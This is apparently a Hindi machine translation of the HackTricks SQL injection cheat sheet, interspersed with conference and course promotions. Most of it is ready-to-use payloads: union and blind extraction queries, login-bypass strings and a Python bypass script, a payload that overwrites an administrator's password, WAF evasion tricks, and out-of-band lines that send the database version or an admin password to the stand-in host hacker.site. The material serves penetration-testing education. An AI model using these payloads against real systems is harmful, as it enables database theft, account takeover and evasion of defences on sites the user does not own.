SQL Injection

जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

​​​​RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा घटना है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उबाऊ मिलन स्थल है।

SQL Injection क्या है?

SQL injection एक सुरक्षा दोष है जो हमलावदाताओं को एक एप्लिकेशन के डेटाबेस क्वेरी में हस्तक्षेप करने की अनुमति देता है। यह कमजोरी हमलावदाताओं को उन डेटा तक पहुंचने की अनुमति देती है जिसका उन्हें पहुंचना नहीं चाहिए, जैसे अन्य उपयोगकर्ताओं की जानकारी या ऐसा कोई भी डेटा जिसका एप्लिकेशन पहुंच सकता है। ऐसे कार्रवाई एप्लिकेशन के कार्यात्मकता या सामग्री में स्थायी परिवर्तन या सर्वर का कंप्रमाइज़ या सेवा की नापसंदी का कारण बन सकती है।

प्रवेश बिंदु का पता लगाना

जब एक साइट SQL इंजेक्शन (SQLi) के लिए विकल्पित दिखती है क्योंकि असामान्य सर्वर प्रतिक्रियाएँ SQLi संबंधित इनपुट्स को, पहला कदम यह है कि यह समझना है कि कैसे क्वेरी में डेटा इंजेक्ट करें बिना इसे बिगाड़े। इसके लिए मौजूदा संदर्भ से निकलने की विधि को पहचानना आवश्यक है। ये कुछ उपयोगी उदाहरण हैं:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

तो, आपको यह जानना चाहिए कि क्वेरी में त्रुटियाँ कैसे ठीक की जाएं। क्वेरी को ठीक करने के लिए आप इनपुट डेटा दे सकते हैं ताकि पिछली क्वेरी नए डेटा को स्वीकार करे, या फिर आप अपना डेटा इनपुट कर सकते हैं और एक टिप्पणी प्रतीक को अंत में जोड़ सकते हैं

ध्यान दें कि अगर आप त्रुटि संदेश देख सकते हैं या आपको यह पता चल सकता है कि कब क्वेरी काम कर रही है और कब नहीं, तो यह चरण आसान हो जाएगा।

टिप्पणियाँ

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

तार्किक परिचय की पुष्टि

एक SQL इन्जेक्शन संवेदनशीलता की पुष्टि करने का एक विश्वसनीय तरीका तार्किक परिचय को क्रियान्वित करना है और अपेक्षित परिणामों का अवलोकन करना। उदाहरण के लिए, एक GET पैरामीटर जैसे ?username=Peter जब ?username=Peter' या '1'='1 में संशोधित किया जाता है और वास्तविक सामग्री प्राप्त होती है, तो यह एक SQL इन्जेक्शन संवेदनशीलता की निश्चित संकेत है।

इसी तरह, गणितीय परिचय का अनुप्रयोग एक प्रभावी पुष्टि तकनीक के रूप में काम करता है। उदाहरण के लिए, यदि ?id=1 और ?id=2-1 तक पहुँचने पर समान परिणाम प्रकट होते हैं, तो यह SQL इन्जेक्शन का संकेत है।

तार्किक परिचय की पुष्टि करने वाले उदाहरण:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

यह शब्द-सूची बनाई गई थी ताकि प्रस्तावित तरीके से SQL इन्जेक्शन की पुष्टि करने का प्रयास किया जा सके:

समय की पुष्टि करना

कुछ मामलों में आपको यह कोई भी परिवर्तन नहीं दिखाई देगी जिसे आप जांच कर रहे हैं। इसलिए, ब्लाइंड SQL इन्जेक्शन का पता लगाने का एक अच्छा तरीका है कि डेटाबेस को कार्रवाई करने के लिए बनाए रखें और यह पृष्ठ लोड होने में समय पर प्रभाव होगा। इसलिए, हम SQL क्वेरी में एक ऑपरेशन जो पूरा होने में बहुत समय लेगा, जोड़ने जा रहे हैं:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

कई मामलों में नींद फ़ंक्शनों की अनुमति नहीं होगी। तब, इन फ़ंक्शनों का उपयोग करने की बजाय आप क्वेरी को जटिल ऑपरेशन करने के लिए कर सकते हैं जो कई सेकंड ले सकता है। इन तकनीकों के उदाहरणों को प्रत्येक प्रौद्योगिकी पर अलग-अलग टिप्पणी किया जाएगा।

पीछे-एंड की पहचान

पीछे-एंड की पहचान करने का सबसे अच्छा तरीका विभिन्न पीछे-एंड के फ़ंक्शनों को क्रियान्वित करने की कोशिश करना है। आप पिछले खंड के नींद फ़ंक्शन या इन्हें उपयोग कर सकते हैं (टेबल से payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

यदि आपके पास क्वेरी के आउटपुट तक पहुंच है, तो आप इसे डेटाबेस का संस्करण प्रिंट करने के लिए बना सकते हैं।

एक आगे हम विभिन्न प्रकार की SQL Injection का उपयोग करने के विभिन्न तरीके पर चर्चा करेंगे। हम MySQL का उदाहरण लेंगे।

पोर्टस्विगर के साथ पहचान

Union Based का शोधन

स्तंभों की संख्या का पता लगाना

यदि आप क्वेरी के आउटपुट देख सकते हैं तो इसे इसका श्रेष्ठ तरीका उसका शोधन करने के लिए है। सबसे पहले, हमें यह जानने की आवश्यकता है कि प्रारंभिक अनुरोध कितने स्तंभ वापस कर रहा है। यह इसलिए है क्योंकि दोनों क्वेरी को समान संख्या के स्तंभ वापस करना होगा। इस उद्देश्य के लिए आम तौर पर दो विधियाँ प्रयोग की जाती हैं:

क्रम/समूह द्वारा

क्वेरी में स्तंभों की संख्या निर्धारित करने के लिए, ORDER BY या GROUP BY शर्तों में उपयोग किए गए संख्या को बढ़ाते हुए एक गलत प्रतिक्रिया प्राप्त होने तक बदलें। SQL के भीतर GROUP BY और ORDER BY की विशिष्ट कार्यक्षमताओं के बावजूद, दोनों क्वेरी के स्तंभों की गणना के लिए ये एकसमान रूप से प्रयोग किए जा सकते हैं।

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

चुनें और और अधिक null मान्यताएँ तक जब तक क्वेरी सही न हो जाए:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

आपको कई मामलों में null मान का उपयोग करना चाहिए क्योंकि कुछ मामलों में क्वेरी के दोनों ओर की स्तंभों के प्रकार समान होना चाहिए और हर मामले में null मान मान्य है।

डेटाबेस नाम, तालिका नाम और स्तंभ नामों को निकालें

अगले उदाहरणों में हम सभी डेटाबेसों का नाम, एक डेटाबेस की तालिका का नाम, तालिका के स्तंभों का नाम प्राप्त करने जा रहे हैं:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

हर विभिन्न डेटाबेस पर इस डेटा को खोजने के लिए एक विभिन्न तरीका है, लेकिन यह हमेशा एक ही मेथडोलॉजी होती है।

छिपी हुई यूनियन आधारित शोध

जब क्वेरी का आउटपुट दिखाई देता है, लेकिन यूनियन आधारित इन्जेक्शन संभावनाशील नहीं लगता है, तो इसका मतलब है कि एक छिपी हुई यूनियन आधारित इन्जेक्शन मौजूद है। यह परिदृश्य अक्सर एक अंधा इन्जेक्शन स्थिति की ओर ले जाता है। एक अंधा इन्जेक्शन को यूनियन आधारित में बदलने के लिए, बैकएंड पर निष्क्रिय क्वेरी को समझना आवश्यक है।

इसे आपके लक्ष्य डेटाबेस प्रबंधन सिस्टम (DBMS) के डिफ़ॉल्ट तालिकाओं के साथ अंधा इन्जेक्शन तकनीकों का उपयोग करके प्राप्त किया जा सकता है। इन डिफ़ॉल्ट तालिकाओं को समझने के लिए, लक्ष्य DBMS की दस्तावेज़ीकरण पर सलाह दी जाती है।

एक बार क्वेरी निकाल ली गई है, मूल क्वेरी को सुरक्षित रूप से बंद करने के लिए अपने पेलोड को अनुकूलित करना आवश्यक है। इसके बाद, अपने पेलोड में एक यूनियन क्वेरी जोड़ी जाती है, जिससे नए उपलब्ध यूनियन आधारित इन्जेक्शन का शोषण सुविधा प्रदान की जाती है।

अधिक व्यापक अनुभव के लिए, Healing Blind Injections पर उपलब्ध पूरे लेख का संदर्भ देखें।

त्रुटि आधारित शोध

यदि किसी कारणवश आप क्वेरी का आउटपुट नहीं देख सकते हैं, लेकिन आप त्रुटि संदेश देख सकते हैं, तो आप इस त्रुटि संदेश का उपयोग करके डेटाबेस से डेटा को बाहर निकाल सकते हैं। यूनियन आधारित शोधन में एक ही फ्लो का पालन करते हुए आप डेटाबेस को डंप कर सकते हैं।

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

ब्लाइंड SQLi का शोषण

इस मामले में आप क्वेरी या त्रुटियों के परिणाम नहीं देख सकते हैं, लेकिन आप यह पहचान सकते हैं कि क्वेरी एक सच्चा या एक गलत प्रतिक्रिया वापस करती है क्योंकि पृष्ठ पर विभिन्न सामग्री है। इस मामले में, आप उस व्यवहार का दुरुपयोग कर सकते हैं ताकि डेटाबेस को एक चार से चार डंप कर सकें:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

त्रुटि अंधा SQLi का शोषण

यह पहले जैसा ही मामला है लेकिन पूछे गए प्रश्न से सच/झूठ का अंतर करने की बजाय आप एसक्यूएल क्वेरी में त्रुटि को पहचान सकते हैं या नहीं (शायद HTTP सर्वर क्रैश हो जाए)। इसलिए, इस मामले में आप प्रत्येक बार सही ढंग से अक्षर की अनुमान लगाते समय एक एसक्यूएल त्रुटि को मजबूर कर सकते हैं:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

टाइम बेस्ड SQLi का शोषण

इस मामले में किसी भी तरह से क्वेरी के प्रतिक्रिया को पृष्ठ के संदर्भ पर भिन्न करने का कोई तरीका नहीं है। लेकिन, यदि अनुमानित वर्ण सही है तो पृष्ठ को लोड करने में अधिक समय लगा सकते हैं। हम पहले ही इस तकनीक का उपयोग करते हुए देख चुके हैं ताकि एक SQLi सुरक्षितता दोष की पुष्टि की जा सके

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

आप स्टैक्ड क्वेरीज का उपयोग करके एकाधिक क्वेरीज को लगातार निष्पादित कर सकते हैं। ध्यान दें कि जब भीतरी क्वेरीज निष्पादित होती हैं, परिणाम एप्लिकेशन को वापस नहीं भेजे जाते। इसलिए यह तकनीक मुख्य रूप से अंधे सुरक्षा दोषों के संबंध में उपयोगी है जहाँ आप एक दूसरी क्वेरी का उपयोग करके DNS लुकअप, शर्तमुक्त त्रुटि, या समय देरी को ट्रिगर कर सकते हैं।

Oracle स्टैक्ड क्वेरीज का समर्थन नहीं करता है। MySQL, Microsoft और PostgreSQL इन्हें समर्थन करते हैं: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

अगर कोई अन्य उत्पीड़न विधि काम नहीं करती है, तो आप डेटाबेस से जानकारी को आपके द्वारा नियंत्रित बाह्य होस्ट पर निकालने का प्रयास कर सकते हैं। उदाहरण के लिए, DNS क्वेरीज के माध्यम से:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

एक्सएक्सई के माध्यम से आउट ऑफ बैंड डेटा एक्सफिल्ट्रेशन

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

स्वचालित शोधन

sqlmap के साथ एक SQLi दुरुपयोग को शोधन करने के लिए SQLMap Cheetsheat की जाँच करें।

तकनीक विशिष्ट जानकारी

हमने पहले ही एक SQL Injection दुरुपयोग को शोधन करने के सभी तरीके चर्चा की है। इस पुस्तक में डेटाबेस प्रौद्योगिकी पर निर्भर कुछ और तरकीबें खोजें:

या आपको MySQL, PostgreSQL, Oracle, MSSQL, SQLite और HQL के संबंध में बहुत सारी तरकीबें मिलेंगी https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

​​​​​RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा घटना है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह सम्मेलन प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए हर शाखा में प्रौद्योगिकी और साइबर सुरक्षा व्यावसायिकों के लिए एक उत्तेजक मिलन स्थल है।

प्रमाणीकरण बायपास

लॉगिन कार्यक्षमता को बायपास करने की कोशिश करने के लिए सूची:

pageLogin bypass List

रॉ हैश प्रमाणीकरण बायपास

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

यह क्वेरी एक कमजोरी को प्रदर्शित करती है जब MD5 का उपयोग सत्य के साथ किया जाता है जांच में रॉ आउटपुट के साथ, जिससे सिस्टम SQL इन्जेक्शन के लिए संवेदनशील हो जाता है। हमलावर इसे उत्पन्न कर सकते हैं जब वे इनपुट को तैयार करते हैं जो, जब हैश किया जाता है, अप्रत्याशित SQL कमांड भागों को उत्पन्न करते हैं, जिससे अनधिकृत पहुंच मिलती है।

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

इंजेक्टेड हैश प्रमाणीकरण बायपास

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

सुझाई गई सूची:

आपको प्रत्येक पंक्ति का उपयोग उपयोगकर्ता नामके रूप में करना चाहिए और हमेशा पासवर्ड के रूप में: Pass1234. (ये पेलोड इस सेक्शन की शुरुआत में उल्लिखित बड़ी सूची में भी शामिल हैं)

GBK प्रमाणीकरण बाइपास

यदि ' को छोड़ दिया जा रहा है तो आप %A8%27 का उपयोग कर सकते हैं, और जब ' को छोड़ दिया जाता है तो यह बनाया जाएगा: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python स्क्रिप्ट:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

पॉलीग्लॉट इन्जेक्शन (मल्टीकॉन्टेक्स्ट)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

इन्सर्ट स्टेटमेंट

मौजूदा ऑब्ज

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

डुप्लिकेट कुंजी अपडेट

ON DUPLICATE KEY UPDATE क्लॉज MySQL में उपयोग किया जाता है ताकि डेटाबेस को बताया जा सके कि जब कोशिश की जाती है कि एक पंक्ति डाली जाए जो एक अद्वितीय सूचकांक या प्राथमिक कुंजी में एक डुप्लिकेट मान देगी, तो डेटाबेस को क्या कार्रवाई करनी चाहिए। निम्नलिखित उदाहरण दिखाता है कि यह सुविधा कैसे उपयोग की जा सकती है ताकि एक प्रशासक खाते का पासवर्ड संशोधित किया जा सके:

उदाहरण पेलोड इन्जेक्शन:

एक इन्जेक्शन पेलोड निम्नलिखित रूप में तैयार किया जा सकता है, जहां users तालिका में दो पंक्तियों को डालने की कोशिश की जाती है। पहली पंक्ति एक छलका है, और दूसरी पंक्ति मौजूदा प्रशासक के ईमेल को लक्ष्य बनाकर पासवर्ड अपडेट करने की इच्छा रखती है:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

यह कैसे काम करता है:

  • क्वेरी दो पंक्तियाँ डालने का प्रयास करती है: एक generic_user@example.com के लिए और दूसरा admin_generic@example.com के लिए।

  • अगर admin_generic@example.com के लिए पंक्ति पहले से मौजूद है, तो ON DUPLICATE KEY UPDATE क्लॉज़ ट्रिगर होता है, जिससे MySQL को मौजूदा पंक्ति के password फ़ील्ड को "bcrypt_hash_of_newpassword" में अपडेट करने के लिए निर्देशित किया जाता है।

  • इसके फलस्वरूप, प्रमाणीकरण फिर admin_generic@example.com का उपयोग करके किया जा सकता है जिसका पासवर्ड "bcrypt_hash_of_newpassword" का है ("bcrypt_hash_of_newpassword" नए पासवर्ड के bcrypt हैश को प्रतिनिधित करता है, जिसे वास्तविक हैश से बदल देना चाहिए)।

जानकारी निकालें

एक साथ 2 खाते बनाना

नए उपयोगकर्ता और उपयोगकर्ता नाम, पासवर्ड और ईमेल बनाने की कोशिश करते समय:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

दशमलव या षोड़शांक का उपयोग

इस तकनीक के साथ आप केवल 1 खाता बनाते हुए जानकारी निकाल सकते हैं। यह महत्वपूर्ण है कि आपको कुछ भी टिप्पणी करने की आवश्यकता नहीं है।

hex2dec और substr का उपयोग करें:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

टेक्निकल टर्मिनोलॉजी के लिए इस्तेमाल कर सकते हैं:

__import__('binascii').unhexlify(hex(215573607263)[2:])

हेक्स और रिप्लेस (और सबस्ट्र का उपयोग करके):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा घटना है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उफान बिंदु है हर विषय में।

Routed SQL injection

रूटेड SQL इन्जेक्शन एक स्थिति है जहाँ इन्जेक्टेबल क्वेरी वह नहीं है जो आउटपुट देती है बल्कि इन्जेक्टेबल क्वेरी का आउटपुट उस क्वेरी में जाता है जो आउटपुट देती है। (पेपर से)

उदाहरण:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF बायपास

यहाँ से प्रारंभिक बायपास

कोई अंतर्विराम बायपास

कोई अंतर्विराम (%20) - व्हाइटस्पेस विकल्प का उपयोग करके बायपास करें

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - टिप्पणियों का उपयोग करके बायपास करें

जब आप SQL इंजेक्शन हमले के दौरान कोड में कोई व्हाइटस्पेस नहीं डाल सकते हैं, तो आप टिप्पणियों का उपयोग करके इस सुरक्षा उल्लंघन को बायपास कर सकते हैं। इस तकनीक का उपयोग करके आप SQL क्वेरी में अपने धारकों को जोड़ सकते हैं और व्यावसायिक डेटाबेस सिस्टम को हैक कर सकते हैं।

?id=1/*comment*/and/**/1=1/**/--

कोई व्हाइटस्पेस - पैरेंथेसिस का उपयोग करके बायपास करें

?id=(1)and(1)=(1)--

कोई विराम नहीं

ऑफसेट, फ्रॉम और ज्वाइन का उपयोग करके विराम नहीं - बायपास

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

सामान्य बायपास

कीवर्ड का उपयोग करके ब्लैकलिस्ट - अपरकेस/लोअरकेस का उपयोग करके बायपास करें

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist के लिए कीवर्ड का इस्तेमाल केस इनसेंसिटिव - एक समकक्ष ऑपरेटर का इस्तेमाल करके बायपास करें

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

वैज्ञानिक नोटेशन WAF बायपास

आप इस तरह के ट्रिक का अधिक विस्तृत विवरण gosecure ब्लॉग में पा सकते हैं। मूल रूप से, आप WAF को बायपास करने के लिए अप्रत्याशित तरीकों में वैज्ञानिक नोटेशन का उपयोग कर सकते हैं:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

कॉलम नामों की प्रतिबंधन को उमीद से पार करें

सबसे पहले, ध्यान दें कि यदि मूल क्वेरी और उस तालिका में जहां से आप झंडा निकालना चाहते हैं, उनके पास एक ही संख्या के कॉलम हैं तो आप बस यह कर सकते हैं: 0 UNION SELECT * FROM flag

यह संभव है कि आप किसी तालिका के तीसरे कॉलम तक पहुंचें बिना उसके नाम का उपयोग किए एक क्वेरी का उपयोग करके, जैसे: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, इसलिए एक एसक्यूएल इन्जेक्शन में यह ऐसा दिखेगा:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

या कॉमा बायपास का उपयोग करें:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

यह ट्रिक https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/ से ली गई थी।

WAF बायपास सुझाव उपकरण

अन्य मार्गदर्शिकाएं

ब्रूट-फोर्स पहचान सूची

​​​​​​​RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा घटना है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उच्च बिंदु है।

शून्य से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

Last updated